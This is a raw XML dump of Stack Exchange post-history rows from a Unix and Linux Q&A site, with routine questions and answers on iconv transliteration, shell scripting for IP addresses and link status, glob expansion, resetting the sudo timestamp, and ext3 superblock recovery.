  <row Id="20095" PostHistoryTypeId="3" PostId="8514" RevisionGUID="23bf66b9-068b-4a95-8091-93784d8780fe" CreationDate="2011-03-03T10:48:58.887" UserId="4843" Text="élinuxàéwindowsàéfileösharingà" />
  <row Id="20096" PostHistoryTypeId="2" PostId="8515" RevisionGUID="b30826ab-4446-45bd-b0fc-10021c0dcc9e" CreationDate="2011-03-03T10:59:18.377" UserId="2671" Text="I'm looking for some tool that can convert text, ideally from UTF-8 (but ISO-8859-2 and WINDOWS-1250 would be fine) into ASCII/ISO-8859-1?&#xD;&#xA;&#xD;&#xA;I have seen some online transliteration tools but I need something for the command line (and iconv is refusing to convert the file)." />
  <row Id="20097" PostHistoryTypeId="1" PostId="8515" RevisionGUID="b30826ab-4446-45bd-b0fc-10021c0dcc9e" CreationDate="2011-03-03T10:59:18.377" UserId="2671" Text="Converting text into ASCII/ISO-8859-1" />
  <row Id="20098" PostHistoryTypeId="3" PostId="8515" RevisionGUID="b30826ab-4446-45bd-b0fc-10021c0dcc9e" CreationDate="2011-03-03T10:59:18.377" UserId="2671" Text="écommandölineàécharacteröencodingàéconversionà" />
  <row Id="20099" PostHistoryTypeId="25" PostId="8514" RevisionGUID="2eb44685-5cb3-40fc-bd10-c976a6228864" CreationDate="2011-03-03T11:23:34.660" Comment="http://twitter.com/#!/StackUnix/status/43270285142667265" />
  <row Id="20100" PostHistoryTypeId="2" PostId="8516" RevisionGUID="3d4b321f-c87b-4ef9-ba71-e981155efcf3" CreationDate="2011-03-03T12:46:38.897" UserId="5281" Text="The powerful `konwert`is made for this: http://sourceforge.net/projects/konwert/" />
  <row Id="20101" PostHistoryTypeId="2" PostId="8517" RevisionGUID="3861f795-3479-48a5-b441-3fb9e0618b88" CreationDate="2011-03-03T12:49:58.753" UserId="5281" Text="It may depend on the device/format targets, but [HandBrake][1] is also an interesting tool for such tasks. It is a bit picky about output formats (only mkv and m4v), but works great if you can read those.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://handbrake.fr/" />
  <row Id="20102" PostHistoryTypeId="5" PostId="8516" RevisionGUID="6c1edfe0-f9a8-44ef-a941-c03ea55d429f" CreationDate="2011-03-03T13:08:45.383" UserId="5281" Comment="deep correction from comments" Text="If you're ok to use Python, give a try to [slugify][1] which is made to do character conversion such as `é =&gt; e`. And forget my previous answer mentioning `konwert`, which is used to format conversion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pypi.python.org/pypi/slugify" />
  <row Id="20103" PostHistoryTypeId="2" PostId="8518" RevisionGUID="8a5be2de-9f84-4255-9589-d3ba2bc86a35" CreationDate="2011-03-03T13:17:47.153" UserId="3608" Text="How to get my own ip and attribute it to a variable in shell script?" />
  <row Id="20104" PostHistoryTypeId="1" PostId="8518" RevisionGUID="8a5be2de-9f84-4255-9589-d3ba2bc86a35" CreationDate="2011-03-03T13:17:47.153" UserId="3608" Text="How to get my own ip and attribute it to a variable in shell script?" />
  <row Id="20105" PostHistoryTypeId="3" PostId="8518" RevisionGUID="8a5be2de-9f84-4255-9589-d3ba2bc86a35" CreationDate="2011-03-03T13:17:47.153" UserId="3608" Text="éshellàéshellöscriptà" />
  <row Id="20106" PostHistoryTypeId="2" PostId="8519" RevisionGUID="fb45220a-aa79-48f6-88b2-1d2d32deae6f" CreationDate="2011-03-03T13:24:49.160" UserId="3645" Text="It's not so easy if you want to take into account wlan and other alternative interfaces. If you know which interface you want the address for (e.g., eth0, the first Ethernet card), you can use this:&#xD;&#xA;&#xD;&#xA;    ip=&quot;$(ifconfig | grep -A 1 'eth0' | tail -1 | cut -d ':' -f 2 | cut -d ' ' -f 1)&quot;&#xD;&#xA;&#xD;&#xA;In other words, get me the network configuration information, look for `eth0`, get that line and the next one (`-A 1`), get *only* the last line, get the second part of that line when splitting with `:`, then get the first part of that when splitting with space." />
  <row Id="20107" PostHistoryTypeId="2" PostId="8520" RevisionGUID="bea7022b-d072-46cf-9ade-23410760ec00" CreationDate="2011-03-03T13:41:06.587" UserId="3608" Text="How to get the network status (online/offline) and attribute it to a variable in shell script?" />
  <row Id="20108" PostHistoryTypeId="1" PostId="8520" RevisionGUID="bea7022b-d072-46cf-9ade-23410760ec00" CreationDate="2011-03-03T13:41:06.587" UserId="3608" Text="How to get the network status (online/offline) and attribute it to a variable in shell script?" />
  <row Id="20109" PostHistoryTypeId="3" PostId="8520" RevisionGUID="bea7022b-d072-46cf-9ade-23410760ec00" CreationDate="2011-03-03T13:41:06.587" UserId="3608" Text="énetworkingàéshellöscriptà" />
  <row Id="20110" PostHistoryTypeId="2" PostId="8521" RevisionGUID="871f842f-5b60-495d-af39-49d482a106c9" CreationDate="2011-03-03T13:52:22.737" UserId="3976" Text="I believe the &quot;modern tools&quot; way to get your ipv4 address is to parse 'ip' rather than 'ifconfig', so it'd be something like:&#xD;&#xA;&#xD;&#xA;    ip=$(/sbin/ip -o -4 addr list eth0 | awk '{print $4}' | cut -d/ -f1)&#xD;&#xA;&#xD;&#xA;or something like that." />
  <row Id="20111" PostHistoryTypeId="17" PostId="8523" RevisionGUID="910c6474-3520-4e2d-8ab3-212a79cb4378" CreationDate="2011-03-03T14:02:25.897" UserId="-1" Comment="from http://stackoverflow.com/questions/5163582/using-kde-in-debian-squeeze/5166180#5166180" Text="" />
  <row Id="20112" PostHistoryTypeId="2" PostId="8523" RevisionGUID="4ce0dc01-bac9-4128-b256-ba5b98c746f9" CreationDate="2011-03-02T10:33:25.490" UserId="688" Text="You can choose what Desktop you want during log-in. That is, instead of just entering your username and password, go to something named along the lines of *Choose desktop sesion* and select KDE, and then proceed to entering your username and password." />
  <row Id="20113" PostHistoryTypeId="2" PostId="8522" RevisionGUID="afe69739-2c2c-4b67-93a7-5c7d83471459" CreationDate="2011-03-02T05:02:17.597" UserDisplayName="thesteve" Text="I just installed Debian Squeeze and it defaulted to the gnome desktop environment. I have installed KDE via the package manager but do not know how to set it as the default environment. Any help would be appreciated." />
  <row Id="20114" PostHistoryTypeId="1" PostId="8522" RevisionGUID="afe69739-2c2c-4b67-93a7-5c7d83471459" CreationDate="2011-03-02T05:02:17.597" UserDisplayName="thesteve" Text="Using KDE in Debian Squeeze" />
  <row Id="20115" PostHistoryTypeId="3" PostId="8522" RevisionGUID="afe69739-2c2c-4b67-93a7-5c7d83471459" CreationDate="2011-03-02T05:02:17.597" UserDisplayName="thesteve" Text="édebianàékdeà" />
  <row Id="20116" PostHistoryTypeId="17" PostId="8522" RevisionGUID="523d8690-312a-467c-bf77-63ddae118fa4" CreationDate="2011-03-03T14:02:25.897" UserId="-1" Comment="from http://stackoverflow.com/questions/5163582/using-kde-in-debian-squeeze" Text="" />
  <row Id="20117" PostHistoryTypeId="2" PostId="8524" RevisionGUID="2b843bca-5e3d-4b25-ad1d-8e193caab541" CreationDate="2011-03-03T14:06:24.103" UserId="1467" Text="I need a very simple script which does this:&#xD;&#xA;&#xD;&#xA;    mogrify -resize $1x$2^ -gravity center -crop $1x$2+0+0 $3&#xD;&#xA;&#xD;&#xA;so that I can call it in this way:&#xD;&#xA;&#xD;&#xA;    cropresize.sh 110 110 *.png&#xD;&#xA;&#xD;&#xA;the problem is that the shell expands the `*.png` pattern instead of passing it as it is to the script.&#xD;&#xA;&#xD;&#xA;How can I achieve this (script, alias or any other equivalent solution is fine)?&#xD;&#xA;" />
  <row Id="20118" PostHistoryTypeId="1" PostId="8524" RevisionGUID="2b843bca-5e3d-4b25-ad1d-8e193caab541" CreationDate="2011-03-03T14:06:24.103" UserId="1467" Text="How do I prevent expansion when I use a pattern as argument to a script?" />
  <row Id="20119" PostHistoryTypeId="3" PostId="8524" RevisionGUID="2b843bca-5e3d-4b25-ad1d-8e193caab541" CreationDate="2011-03-03T14:06:24.103" UserId="1467" Text="ébashàéscriptingà" />
  <row Id="20120" PostHistoryTypeId="25" PostId="8518" RevisionGUID="29615b9d-2f6d-44a9-a291-08193ed85bfe" CreationDate="2011-03-03T14:23:36.190" Comment="http://twitter.com/#!/StackUnix/status/43315590164779008" />
  <row Id="20121" PostHistoryTypeId="2" PostId="8525" RevisionGUID="57be0dd1-1b23-4398-b726-2bbd3856bfad" CreationDate="2011-03-03T14:30:10.367" UserId="5282" Text="Have you tried&#xD;&#xA;&#xD;&#xA;    cropresize.sh 110 110 \*.png&#xD;&#xA;But I can only see zsh (not bash) expanding it like you say." />
  <row Id="20122" PostHistoryTypeId="2" PostId="8526" RevisionGUID="ee8c1d43-5fb2-429e-b542-07e61dd50aa0" CreationDate="2011-03-03T14:35:00.427" UserId="5259" Text="I got it to work. It was indeed the backticks causing the problems. I refactored it as &#xD;&#xA;&#xD;&#xA;    hg st -m | grep -q M&#xD;&#xA;&#xD;&#xA;then checked the exit value of grep, which is working perfectly." />
  <row Id="20123" PostHistoryTypeId="2" PostId="8527" RevisionGUID="f15bf0e4-2936-46ea-a701-9c3dbd956c67" CreationDate="2011-03-03T14:39:37.443" UserId="4667" Text="For bash, there is&#xD;&#xA;&#xD;&#xA;    set -o noglob&#xD;&#xA;&#xD;&#xA;which disables globbing entirely for your shell.  &#xD;&#xA;&#xD;&#xA;Since the shell performs glob expansion before the arguments are handed over to the command, there's no way I can think of to do it transparently: it's either visible (quote the parameter) or brute-force.&#xD;&#xA;&#xD;&#xA;You're looking at the problem from the wrong end. Change your script to accept multiple filename arguments:&#xD;&#xA;&#xD;&#xA;    x=$1&#xD;&#xA;    y=$2&#xD;&#xA;    shift 2&#xD;&#xA;    mogrify -resize ${x}x${y}^ -gravity center -crop ${x}x${y}+0+0 &quot;$@&quot;&#xD;&#xA;" />
  <row Id="20125" PostHistoryTypeId="5" PostId="8527" RevisionGUID="8b325b41-a07b-43c6-8927-a60e2aa85d22" CreationDate="2011-03-03T14:45:10.200" UserId="4667" Comment="deleted 16 characters in body" Text="Since the shell performs glob expansion before the arguments are handed over to the command, there's no way I can think of to do it transparently: it's either controlled by the user (quote the parameter) or brute-force (disable globbing completely for your shell with `set -o noglob`).&#xD;&#xA;&#xD;&#xA;You're looking at the problem from the wrong end. Change your script to accept multiple filename arguments:&#xD;&#xA;&#xD;&#xA;    x=$1&#xD;&#xA;    y=$2&#xD;&#xA;    shift 2&#xD;&#xA;    mogrify -resize ${x}x${y}^ -gravity center -crop ${x}x${y}+0+0 &quot;$@&quot;&#xD;&#xA;" />
  <row Id="20126" PostHistoryTypeId="2" PostId="8528" RevisionGUID="955e0c05-180b-412c-9f5d-9d75d208f6e3" CreationDate="2011-03-03T14:52:25.923" UserId="2163" Text="If I do the following:&#xD;&#xA;&#xD;&#xA;    sudo su -&#xD;&#xA;    //enter password&#xD;&#xA;    exit&#xD;&#xA;    exit&#xD;&#xA;    //login again straight away&#xD;&#xA;    sudo su -&#xD;&#xA;&#xD;&#xA;The second invocation of sudo does not request a password because even though I have logged out again, I am still within some time limit meaning that I do not need to be prompted for my password again.&#xD;&#xA;&#xD;&#xA;Because I am trying out some new privs to make sure they work, this is really slowing me down while I wait for the timeout to happen.&#xD;&#xA;&#xD;&#xA;Is there a command I can run to reset the timeout?&#xD;&#xA;&#xD;&#xA;I don't want to change the timeout or affect other users, by the way!" />
  <row Id="20127" PostHistoryTypeId="1" PostId="8528" RevisionGUID="955e0c05-180b-412c-9f5d-9d75d208f6e3" CreationDate="2011-03-03T14:52:25.923" UserId="2163" Text="Forcing sudo to prompt for a password" />
  <row Id="20128" PostHistoryTypeId="3" PostId="8528" RevisionGUID="955e0c05-180b-412c-9f5d-9d75d208f6e3" CreationDate="2011-03-03T14:52:25.923" UserId="2163" Text="ésudoàépasswordà" />
  <row Id="20129" PostHistoryTypeId="2" PostId="8529" RevisionGUID="35a7c53c-64a7-4464-a7ac-2d2ad874e79e" CreationDate="2011-03-03T15:00:09.250" UserId="2180" Text="`sudo -k` Will kill the timeout timestamp. You can even put the command afterwards, like `sudo -k test_my_privileges.sh`&#xD;&#xA;&#xD;&#xA;From `man sudo`:&#xD;&#xA;&#xD;&#xA;&gt; **-K** The -K (sure kill) option is like -k except that it removes the&#xD;&#xA;&gt; user's time stamp entirely and may not&#xD;&#xA;&gt; be used in conjunction with a command&#xD;&#xA;&gt; or other option.  This option does not&#xD;&#xA;&gt; require a password.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **-k** When used by itself, the -k (kill) option to sudo invalidates the&#xD;&#xA;&gt; user's time stamp by setting the time&#xD;&#xA;&gt; on it to the Epoch.  The next time&#xD;&#xA;&gt; sudo is run a password will be&#xD;&#xA;&gt; required.  This option does not&#xD;&#xA;&gt; require a password and was added to&#xD;&#xA;&gt; allow a user to revoke sudo&#xD;&#xA;&gt; permissions from a .logout file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can also change it permanently.&#xD;&#xA;From `man sudoers`:&#xD;&#xA;&#xD;&#xA;&gt;  **timestamp_timeout**&#xD;&#xA;&gt;&#xD;&#xA;&gt;Number of minutes that can elapse before sudo&#xD;&#xA;&gt; will ask for a passwd again.  The&#xD;&#xA;&gt; timeout may include a fractional&#xD;&#xA;&gt; component if minute granularity is insufficient, for example 2.5.  The&#xD;&#xA;&gt; default is 5.  Set this to 0 to always&#xD;&#xA;&gt; prompt for a password.  If set to a&#xD;&#xA;&gt; value less than 0 the user's timestamp will never expire. &#xD;&#xA;&gt; This can be used to allow users to&#xD;&#xA;&gt; create or delete their own timestamps&#xD;&#xA;&gt; via sudo -v and sudo -k respectively.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20130" PostHistoryTypeId="2" PostId="8530" RevisionGUID="71d84e89-6a43-4932-ace1-b2223547c98c" CreationDate="2011-03-03T15:01:56.797" UserId="33" Text="If you use network manager for your network connection, you could query it via dbus somewhat like this:&#xD;&#xA;&#xD;&#xA;    dbus-send --type=method_call --print-reply --system --dest=&quot;org.freedesktop.NetworkManager&quot; &quot;/org/freedesktop/NetworkManager&quot; org.freedesktop.NetworkManager.state&#xD;&#xA;&#xD;&#xA;(somewhat deprecated but still works, for newer interfaces you'd just query a different address)&#xD;&#xA;&#xD;&#xA;If that returns a &quot;3&quot; you are &quot;connected&quot; as described in http://projects.gnome.org/NetworkManager/developers/spec.html#type-NM_STATE (but it says nothing about internet connectivity).&#xD;&#xA;&#xD;&#xA;If you really wanna know whether you have internet connectivity, just ping a remote server like google.com and see if that worked or not." />
  <row Id="20133" PostHistoryTypeId="2" PostId="8532" RevisionGUID="f31e11a3-bdb3-4a2b-98fd-ba337e18451c" CreationDate="2011-03-03T15:55:35.517" UserId="3976" Text="I'm going to reccomend `ip` again:&#xD;&#xA;&#xD;&#xA;    status=$(ip -o link show eth0 | awk '{print $9}')&#xD;&#xA;&#xD;&#xA;(The ninth column is the state of the interface)" />
  <row Id="20134" PostHistoryTypeId="2" PostId="8533" RevisionGUID="3bbd5807-b5f1-408f-ade8-fa45cc396b54" CreationDate="2011-03-03T16:09:28.433" UserDisplayName="thepeer" Text="I am having a problem with my ubuntu ext3 filesystem. I can't boot from it or mount the volume when running live CD. &#xD;&#xA;&#xD;&#xA;When I try e2fsck I get: &quot;Bad magic number in super-block while trying to open /dev/sda5&quot;. I have tried all the alternative superblocks with the same result. &#xD;&#xA;&#xD;&#xA;I have heard you can delete the journaling system and mount as ext2, but the suggestions on how to do this (eg [this one][1]) all require a valid superblock. Is it credible that all the backup superblocks are corrupted or is there something else going on?&#xD;&#xA;&#xD;&#xA;The filesystem seemed fine before I rebooted, so pretty sure it's recoverable. What else can I try?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unix.com/unix-advanced-expert-users/78965-linux-ext3-superblock-recovery.html" />
  <row Id="20135" PostHistoryTypeId="1" PostId="8533" RevisionGUID="3bbd5807-b5f1-408f-ade8-fa45cc396b54" CreationDate="2011-03-03T16:09:28.433" UserDisplayName="thepeer" Text="All my superblocks are corrupt!" />
  <row Id="20136" PostHistoryTypeId="3" PostId="8533" RevisionGUID="3bbd5807-b5f1-408f-ade8-fa45cc396b54" CreationDate="2011-03-03T16:09:28.433" UserDisplayName="thepeer" Text="élinuxàéubuntuàéext3àésuperblockà" />
  <row Id="20137" PostHistoryTypeId="17" PostId="8533" RevisionGUID="7a8845fb-f4fe-4788-acc5-a4d56157f034" CreationDate="2011-03-03T16:16:57.710" UserId="-1" Comment="from http://stackoverflow.com/questions/5183342/all-my-superblocks-are-corrupt" Text="" />
  <row Id="20138" PostHistoryTypeId="2" PostId="8534" RevisionGUID="bf86fafb-93f6-49d2-b564-f51288dc7bb8" CreationDate="2011-03-03T16:27:45.580" UserId="5284" Text="Mod4+S and Mod4+M (or Super+S and Super+M) are mapped to invoking the session management menu (on the rightmost of the GNOME panel), and to minimizing the current window. How can I disable them? They are not shown in System &gt; Preferences &gt; Keyboard Shortcuts." />
  <row Id="20139" PostHistoryTypeId="1" PostId="8534" RevisionGUID="bf86fafb-93f6-49d2-b564-f51288dc7bb8" CreationDate="2011-03-03T16:27:45.580" UserId="5284" Text="How can I unmap Mod4+S and Mod4+M in Ubuntu" />
  <row Id="20140" PostHistoryTypeId="3" PostId="8534" RevisionGUID="bf86fafb-93f6-49d2-b564-f51288dc7bb8" CreationDate="2011-03-03T16:27:45.580" UserId="5284" Text="éubuntuàégnomeàékeyboardöshortcutsà" />
  <row Id="20141" PostHistoryTypeId="25" PostId="8528" RevisionGUID="a11aea87-14ff-4d96-8765-b389b366b996" CreationDate="2011-03-03T17:23:36.457" Comment="http://twitter.com/#!/StackUnix/status/43360890006945792" />
  <row Id="20142" PostHistoryTypeId="5" PostId="8500" RevisionGUID="5a05c610-3fdd-43a4-9856-c24f0d8ea242" CreationDate="2011-03-03T18:23:44.330" UserId="4" Comment="Show examples from `cat /proc/scsi/scsi` and `parted --list`" Text="@Giles says this is highly platform-dependent. Here's one such example.&#xD;&#xA;&#xD;&#xA;I'm running a CentOS 5.5 system. This system has 4 disks and a 3ware RAID controller.&#xD;&#xA;&#xD;&#xA;In my case, `lshw -class disk`, `cat /proc/scsi/scsi` and `parted --list` shows the RAID controller (3ware 9650SE-4LP). This doesn't show the actual disks:&#xD;&#xA;&#xD;&#xA;only shows the 3ware RAID controller which provides the /dev/sda volume:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # lshw -class disk&#xD;&#xA;      *-disk                  &#xD;&#xA;           description: SCSI Disk&#xD;&#xA;           product: 9650SE-4LP DISK&#xD;&#xA;           vendor: AMCC&#xD;&#xA;           physical id: 0.0.0&#xD;&#xA;           bus info: scsi@0:0.0.0&#xD;&#xA;           logical name: /dev/sda&#xD;&#xA;&#xD;&#xA;    # cat /proc/scsi/scsi &#xD;&#xA;    Attached devices:&#xD;&#xA;    Host: scsi0 Channel: 00 Id: 00 Lun: 00&#xD;&#xA;      Vendor: AMCC     Model: 9650SE-4LP DISK  Rev: 4.06&#xD;&#xA;      Type:   Direct-Access                    ANSI SCSI revision: 05&#xD;&#xA;&#xD;&#xA;    # parted --list&#xD;&#xA;    &#xD;&#xA;    Model: AMCC 9650SE-4LP DISK (scsi)&#xD;&#xA;    Disk /dev/sda: 2000GB&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In order to see the disks which lie underneath, I had to install the tw_cli utility from 3ware, and ask the controller itself.&#xD;&#xA;&#xD;&#xA;    # tw_cli info c0&#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    VPort Status         Unit Size      Type  Phy Encl-Slot    Model&#xD;&#xA;    ------------------------------------------------------------------------------&#xD;&#xA;    p0    OK             u0   931.51 GB SATA  0   -            WDC WD1002FBYS-02A6 &#xD;&#xA;    p1    OK             u0   931.51 GB SATA  1   -            WDC WD1002FBYS-02A6 &#xD;&#xA;&#xD;&#xA;" />
  <row Id="20143" PostHistoryTypeId="2" PostId="8535" RevisionGUID="aeb8b9b8-dfd5-4872-aac6-b4fc104d320e" CreationDate="2011-03-03T18:41:26.233" UserId="4" Text="Try [ethtool][1]:&#xD;&#xA;&#xD;&#xA;    # ethtool eth0 |grep &quot;Link detected&quot;&#xD;&#xA;      Link detected: yes&#xD;&#xA;    # ethtool eth1 |grep &quot;Link detected&quot;&#xD;&#xA;      Link detected: no&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.about.com/od/commands/l/blcmdl8_ethtool.htm" />
  <row Id="20144" PostHistoryTypeId="5" PostId="8535" RevisionGUID="2cb4d499-6088-4f31-8771-87bf84596ddf" CreationDate="2011-03-03T18:54:05.223" UserId="4" Comment="ifconfig can also work; added 47 characters in body" Text="You say you simply want the online/offline status of an interface, and aren't concerned with speed or link-type.&#xD;&#xA;&#xD;&#xA;Try [ethtool][1], as root:&#xD;&#xA;&#xD;&#xA;    # ethtool eth0 |grep &quot;Link detected&quot;&#xD;&#xA;      Link detected: yes&#xD;&#xA;    # ethtool eth1 |grep &quot;Link detected&quot;&#xD;&#xA;      Link detected: no&#xD;&#xA;&#xD;&#xA;`ifconfig` can also show you the online/offline status, and this command is usually available to any user on the system. &#xD;&#xA;&#xD;&#xA;	$ { /sbin/ifconfig eth0 | grep MTU: | grep -w UP &gt;/dev/null 2&gt;&amp;1 ; }; echo $?&#xD;&#xA;	0&#xD;&#xA;	# This could return some false errors&#xD;&#xA;	$ { /sbin/ifconfig eth1 | grep MTU: | grep -w UP &gt;/dev/null 2&gt;&amp;1 ; }; echo $?&#xD;&#xA;	1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.about.com/od/commands/l/blcmdl8_ethtool.htm" />
  <row Id="20145" PostHistoryTypeId="2" PostId="8536" RevisionGUID="c626fa91-064d-4a5e-9a57-2aae570fddd6" CreationDate="2011-03-03T19:27:14.490" UserId="5286" Text="[Disclaimer: I was initially a little nervous about posting this here, so I asked on Meta if discussing homebrew / modding was acceptable. Based on the response I've gotten from several veteran members, I've gone ahead and posted this thread. [Here](http://meta.stackoverflow.com/questions/81554/is-it-okay-to-ask-questions-on-the-stackexchange-network-that-pertain-to-console) is the link on Meta.]&#xD;&#xA;&#xD;&#xA;I'm currently trying to mod my original Xbox using xboxhdm and ndure 3.0. xboxhdm is built around a small bootable Linux distro, and it's giving me fits, so I figured that I'd ask here and see if anybody could give me a hand. (Note: Before anybody suggests a different board, xboxhdm boots from CD on a PC - the Xbox hardware is completely uninvolved in the process, so that's why I'm asking here.)&#xD;&#xA;&#xD;&#xA;The PC I'm using is relatively old - it's an old Compaq desktop with about 512mb RAM and a 2.5ghz processor (likely a P IV). I'm using it because it has 2 IDE ports on the motherboard. The age of the computer shouldn't be an issue, performance-wise - the xboxhdm + ndure hack has been around for years - it was designed to run on such hardware.&#xD;&#xA;&#xD;&#xA;Anyway - at one point in the process, I have to copy some files from the CD to the Xbox hard drive (which is a standard Seagate IDE drive, powered by a Molex). About halfway through the copy, everything just dies... I get an `unable to handle kernel paging request` error, and eventually a kernel panic. &#xD;&#xA;&#xD;&#xA;I couldn't find anything about this error and how it specifically relates to Xbox modding, but what information I could find suggested that I might have a bad stick of RAM. I've not been able to test this yet, but I'm going to run MEMTEST as soon as I get home.&#xD;&#xA;&#xD;&#xA;I don't have the setup with me - I'm at work, and it's at home - but if anybody's interested in lending a hand, I'll take pictures tonight and post them up. The only reason that I'm asking here is because I'm still a fairly new *nix convert, and I'm not quite sure how it all works. I'm assuming that `unable to handle kernel paging request` is a fairly standard error message, too... correct me if I'm wrong.&#xD;&#xA;&#xD;&#xA;Anyhow, thanks in advance for any help." />
  <row Id="20146" PostHistoryTypeId="1" PostId="8536" RevisionGUID="c626fa91-064d-4a5e-9a57-2aae570fddd6" CreationDate="2011-03-03T19:27:14.490" UserId="5286" Text="Unable to handle kernel paging request?" />
  <row Id="20147" PostHistoryTypeId="3" PostId="8536" RevisionGUID="c626fa91-064d-4a5e-9a57-2aae570fddd6" CreationDate="2011-03-03T19:27:14.490" UserId="5286" Text="ékernelàépagingà" />
  <row Id="20148" PostHistoryTypeId="2" PostId="8537" RevisionGUID="9e9b50b7-e793-4880-93dc-7a739f04b2cb" CreationDate="2011-03-03T19:50:34.063" UserId="4520" Text="Although I share the printers using Samba, I access them directly using CUPS.  Windows works well with the IPP protocol.  For postscript output I am using the MS Publisher Imagesetter driver. &#xD;&#xA;&#xD;&#xA;If you are having problems with printer sharing using Samba, it may be a browsing issue.  You need to be able to see your server first.  From my wireless network I can't browse the printers on my server, although I have access to a share from the server.  They do show up if I choose `Select a shared printer by name`. (\\servername\) brings up a drop-down list." />
  <row Id="20149" PostHistoryTypeId="2" PostId="8538" RevisionGUID="830519db-06bd-429d-9415-85eff2679f3a" CreationDate="2011-03-03T19:53:49.417" UserId="5287" Text="Hi,  &#xD;&#xA;&#xD;&#xA;Please can somebody tell me how to remove the `No mail.` notification on Ubuntu 10.10 Server?  &#xD;&#xA;This occurs when I log in, and is located underneath the message of the day&#xD;&#xA;&#xD;&#xA;I have a separate script which uses a different messaging system to the default one&#xD;&#xA;&#xD;&#xA;Thank you very much for your assistance,  &#xD;&#xA;Luke" />
  <row Id="20150" PostHistoryTypeId="1" PostId="8538" RevisionGUID="830519db-06bd-429d-9415-85eff2679f3a" CreationDate="2011-03-03T19:53:49.417" UserId="5287" Text="Assistance wanted in removing the &quot;No mail.&quot; notification in MOTD for Ubuntu 10.10" />
  <row Id="20151" PostHistoryTypeId="3" PostId="8538" RevisionGUID="830519db-06bd-429d-9415-85eff2679f3a" CreationDate="2011-03-03T19:53:49.417" UserId="5287" Text="éubuntuàémailà" />
  <row Id="20152" PostHistoryTypeId="2" PostId="8539" RevisionGUID="61c35a34-aabc-4aa1-8229-22681070859c" CreationDate="2011-03-03T20:06:17.883" UserId="885" Text="This is a bug either in the Cygwin port of bash or in the Cygwin libraries. I could reproduce it on a Windows XP machine running Cygwin 1.7.7-1 with bash 4.1.9(3).&#xD;&#xA;&#xD;&#xA;It looks like some of the code is executed both in the parent process and in the child process after a [fork](http://en.wikipedia.org/wiki/Fork_%28operating_system%29). Implementing fork (a fundamental unix concept) on OSes that don't have it (such as Windows) is difficult, especially if you want the implementation to be reasonably efficient. So I'm not altogether surprised to see a bug there.&#xD;&#xA;&#xD;&#xA;A few experiments show that the bug is very sensitive to variations in how the alias is used. `hgfoo` or `hgfoo :` exhibits the bug, but `{ hgfoo :; }` and `(hgfoo)` work fine. Using a function instead of an alias also works.&#xD;&#xA;&#xD;&#xA;In any case, use a function! Aliases are for one-liners where you're just specifying some default options for a command. A function would have the additional benefit that you could pass arguments to `hg`:&#xD;&#xA;&#xD;&#xA;    hgfoo () {&#xD;&#xA;      localChanges=$(hg st -m &quot;$@&quot;)&#xD;&#xA;      …&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="20153" PostHistoryTypeId="6" PostId="8518" RevisionGUID="728f77bb-1d7f-4c89-9cef-b014fb35f716" CreationDate="2011-03-03T20:10:25.663" UserId="885" Comment="edited tags" Text="énetworkingàéshellöscriptàéipà" />
  <row Id="20154" PostHistoryTypeId="2" PostId="8540" RevisionGUID="60da9ce2-7f71-43da-9df1-c412b1e9e094" CreationDate="2011-03-03T20:14:26.503" UserId="885" Text="By default, iconv refuses to convert the file if it contains characters that do not exist in the target character set. Use `//TRANSLIT` to “downgrade” such characters.&#xD;&#xA;&#xD;&#xA;    iconv -f utf-8 -t iso8859-1//TRANSLIT&#xD;&#xA;" />
  <row Id="20155" PostHistoryTypeId="6" PostId="8450" RevisionGUID="7e1a71f7-c009-42ab-bafe-46f2bc3e69a2" CreationDate="2011-03-03T20:16:13.257" UserId="885" Comment="edited tags" Text="éfirewallàéipàéproxyàésquidà" />
  <row Id="20156" PostHistoryTypeId="6" PostId="8511" RevisionGUID="6f514db5-9f7e-4000-9ce2-afc4abc42573" CreationDate="2011-03-03T20:18:04.487" UserId="885" Comment="edited tags" Text="élinuxàéraidàésoftwareöraidàémdadmà" />
  <row Id="20157" PostHistoryTypeId="25" PostId="8536" RevisionGUID="2766e7b1-83de-4010-9810-313d39c999db" CreationDate="2011-03-03T20:23:37.353" Comment="http://twitter.com/#!/StackUnix/status/43406188150407168" />
  <row Id="20158" PostHistoryTypeId="2" PostId="8541" RevisionGUID="6ce97c50-ca23-4dc6-b6ae-f883d25eeb6a" CreationDate="2011-03-03T20:24:06.687" UserId="5288" Text="In Squid this is done by specifying the public IP address in http_port, and using loopback address for the web server and Apache may be configured like in httpd.conf to listen on the loopback address:&#xD;&#xA;&#xD;&#xA;Port 80&#xD;&#xA;BindAddress 127.0.0.1" />
  <row Id="20159" PostHistoryTypeId="2" PostId="8542" RevisionGUID="0a11efae-c371-41d4-bcc3-d23485c090b6" CreationDate="2011-03-03T20:29:25.010" UserId="885" Text="That message is coming from the [`pam_mail`](http://manpages.ubuntu.com/manpages/maverick/man8/pam_mail.8.html) module. Look in `/etc/pam.d/*` for calls to `pam_mail`. Replace `standard` or `empty` by `quiet` if you want to suppress `No mail` but keep the notification when there is mail. Replace by `nopen` to suppress the notification altogether.&#xD;&#xA;" />
  <row Id="20160" PostHistoryTypeId="5" PostId="8538" RevisionGUID="7846cf81-c8e8-4767-a539-db0e2bea3d18" CreationDate="2011-03-03T21:09:42.477" UserId="73" Comment="deleted 83 characters in body" Text="How do I remove the `No mail.` notification on Ubuntu 10.10 Server?  &#xD;&#xA;This occurs when I log in, and is located underneath the message of the day&#xD;&#xA;&#xD;&#xA;I have a separate script which uses a different messaging system than the default one&#xD;&#xA;" />
